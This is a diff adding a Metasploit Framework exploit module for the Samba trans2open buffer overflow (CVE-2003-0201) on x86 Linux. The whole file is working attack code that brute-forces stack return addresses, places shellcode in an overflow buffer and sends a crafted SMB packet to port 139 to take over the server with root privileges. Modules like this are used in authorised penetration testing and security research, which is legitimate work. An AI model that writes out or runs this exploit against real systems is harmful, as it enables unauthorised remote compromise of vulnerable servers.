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+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GreatRanking
+
+	include Msf::Exploit::Remote::SMB
+	include Msf::Exploit::Brute
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Samba trans2open Overflow (Linux x86)',
+			'Description'    => %q{
+					This exploits the buffer overflow found in Samba versions
+				2.2.0 to 2.2.8. This particular module is capable of
+				exploiting the flaw on x86 Linux systems that do not
+				have the noexec stack option set.
+
+				NOTE: Some older versions of RedHat do not seem to be vulnerable
+				since they apparently do not allow anonymous access to IPC.
+			},
+			'Author'         => [ 'hdm', 'jduck' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'CVE', '2003-0201' ],
+					[ 'OSVDB', '4469' ],
+					[ 'BID', '7294' ],
+					[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
+				],
+			'Privileged'     => true,
+			'Payload'        =>
+				{
+					'Space'    => 1024,
+					'BadChars' => "\x00",
+					'MinNops'  => 512,
+					'StackAdjustment' => -3500
+				},
+			'Platform'       => 'linux',
+			'Targets'        =>
+				[
+					# tested OK - jjd on RedHat 7.2 samba-2.2.1a-4
+					[ 'Samba 2.2.x - Bruteforce',
+						{
+							'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack
+							'Offset'       => 1055,
+							'Bruteforce'   =>
+								{
+									'Start' => { 'Ret' => 0xbffffdfc },
+									'Stop'  => { 'Ret' => 0xbfa00000 },
+									'Step'  => 256
+								}
+						}
+					],
+				],
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Apr 7 2003'
+			))
+
+		register_options(
+			[
+				Opt::RPORT(139)
+			], self.class)
+	end
+
+	def brute_exploit(addrs)
+
+		curr_ret = addrs['Ret']
+		begin
+			print_status("Trying return address 0x%.8x..." %  curr_ret)
+
+			connect
+			smb_login
+
+			# This value *must* be 1988 to allow findrecv shellcode to work
+			# XXX: I'm not sure the above comment is true...
+			pattern = rand_text_english(1988)
+
+			# See the OSX and Solaris versions of this module for additional
+			# information.
+
+			# eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2
+			# (rpmbuild -bp ; edited/reran config.status ; make)
+			eip_off = target['Offset']
+			ptr_to_non_zero = target['PtrToNonZero']
+
+			# Stuff the shellcode into the request
+			pattern[0, payload.encoded.length] = payload.encoded
+
+			# We want test true here, so we overwrite conn with a pointer
+			# to something non-zero.
+			#
+			# 222       if (IS_IPC(conn)) {
+			# 223          return(ERROR(ERRSRV,ERRaccess));
+			# 224       }
+			pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')
+
+			# We want to avoid crashing on the following two derefences.
+			#
+			# 116     int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)
+			# 117     {
+			# 118       int outsize = set_message(outbuf,0,0,True);
+			# 119       int cmd = CVAL(inbuf,smb_com);
+			pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')
+			pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')
+
+			# This stream covers the framepointer and the return address
+			#pattern[1199, 400] = [curr_ret].pack('N') * 100
+			pattern[eip_off, 4] = [curr_ret].pack('V')
+
+			trans =
+				"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
+				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
+				"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
+				"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
+				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+				"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
+				pattern
+
+			# puts "press any key"; $stdin.gets
+
+			sock.put(trans)
+			handler
+
+		rescue EOFError
+		rescue => e
+			print_error("#{e}")
+		end
+
+		handler
+		disconnect
+
+	end
+
+end